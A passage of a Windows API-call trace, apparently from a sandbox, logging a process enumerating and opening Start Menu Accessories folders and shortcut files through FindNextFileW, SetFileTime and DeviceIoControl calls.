ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3d31a0d9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3d36639a, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Disk Cleanup.lnk", cAlternateFileName="")) returned 1 [0092.056] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x141abfff, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x141abfff, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x14375082, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4da, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resource Monitor.lnk", cAlternateFileName="")) returned 1 [0092.056] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5e7f40, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xa5e7f40, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0xa5e7f40, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Information.lnk", cAlternateFileName="")) returned 1 [0092.056] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c8d61e7, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3c8d61e7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3c8fc347, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4de, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Restore.lnk", cAlternateFileName="")) returned 1 [0092.056] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b9eb814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2b9eb814, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x2b9eb814, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task Scheduler.lnk", cAlternateFileName="")) returned 1 [0092.056] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ace9ee9, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8ace9ee9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ace9ee9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x528, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Easy Transfer Reports.lnk", cAlternateFileName="")) returned 1 [0092.056] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ac9dc28, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8ac9dc28, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ac9dc28, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Easy Transfer.lnk", cAlternateFileName="")) returned 1 [0092.056] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ac9dc28, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8ac9dc28, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ac9dc28, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Easy Transfer.lnk", cAlternateFileName="")) returned 0 [0092.056] GetLastError () returned 0x12 [0092.057] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136a260) returned 1 [0092.057] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0092.057] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136a158) returned 1 [0092.057] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136a050) returned 1 [0092.057] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8126b520, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81291680, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tablet PC", cAlternateFileName="")) returned 1 [0092.057] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136a050 [0092.058] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8126b520, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81291680, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0092.058] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0092.058] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0092.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.059] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0092.059] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.059] NtClose (Handle=0x16c) returned 0x0 [0092.059] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136a050) returned 1 [0092.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbfc0 [0092.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136a050 [0092.060] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.061] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136a158 [0092.061] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e9100 [0092.061] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8126b520, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81291680, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.061] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a217df5, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x81291680, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x157, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0092.061] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.062] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.062] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.062] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.062] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.063] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136a260 [0092.063] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbfc0) returned 1 [0092.063] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f83d8 [0092.063] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136afc8 [0092.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.064] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x811d2fa0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x811d2fa0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x811d2fa0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x59c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.lnk", cAlternateFileName="")) returned 1 [0092.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.065] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f83f8 [0092.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136b0d0 [0092.066] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.066] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8126b520, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x8126b520, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8126b520, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x56a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip.lnk", cAlternateFileName="")) returned 1 [0092.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.066] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.067] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.067] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.067] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8418 [0092.067] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136b1d8 [0092.068] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.068] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d103a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80d103a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x80d103a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal.lnk", cAlternateFileName="")) returned 1 [0092.068] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.068] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.068] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.069] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.069] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.069] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8438 [0092.069] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136b2e0 [0092.070] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.070] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d103a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80d103a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x80d103a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal.lnk", cAlternateFileName="")) returned 0 [0092.070] GetLastError () returned 0x12 [0092.070] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e9200 [0092.070] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0092.070] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8126b520, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81291680, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.070] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a217df5, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x81291680, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x157, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0092.070] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x811d2fa0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x811d2fa0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x811d2fa0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x59c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.lnk", cAlternateFileName="")) returned 1 [0092.070] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8126b520, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x8126b520, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8126b520, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x56a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip.lnk", cAlternateFileName="")) returned 1 [0092.070] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d103a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80d103a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x80d103a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal.lnk", cAlternateFileName="")) returned 1 [0092.070] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d103a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80d103a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x80d103a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal.lnk", cAlternateFileName="")) returned 0 [0092.071] GetLastError () returned 0x12 [0092.071] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136a158) returned 1 [0092.071] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.071] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136a260) returned 1 [0092.071] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136a050) returned 1 [0092.071] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b13a6d0, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8b13a6d0, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8b13a6d0, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x62b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome Center.lnk", cAlternateFileName="")) returned 1 [0092.071] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8d79c9d7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d7c2b37, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell", cAlternateFileName="")) returned 1 [0092.071] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136a050 [0092.072] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8d79c9d7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d7c2b37, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0092.072] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0092.072] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0092.072] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.073] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0092.073] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.073] NtClose (Handle=0x184) returned 0x0 [0092.073] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136a050) returned 1 [0092.073] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.074] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbfc0 [0092.074] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136a050 [0092.074] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.074] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136a260 [0092.075] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e9200 [0092.075] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8d79c9d7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d7c2b37, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.075] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8d776877, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8d776877, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d7c2b37, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0092.075] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.075] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.075] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.076] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.076] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.076] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136a158 [0092.077] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbfc0) returned 1 [0092.077] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8458 [0092.077] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136b3e8 [0092.077] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.077] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x7c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell (x86).lnk", cAlternateFileName="")) returned 1 [0092.077] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.078] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.078] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.078] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.078] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.079] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8478 [0092.079] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136b4f0 [0092.079] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.079] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d79c9d7, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8d79c9d7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d7c2b37, ftLastWriteTime.dwHighDateTime=0x1ca043f, 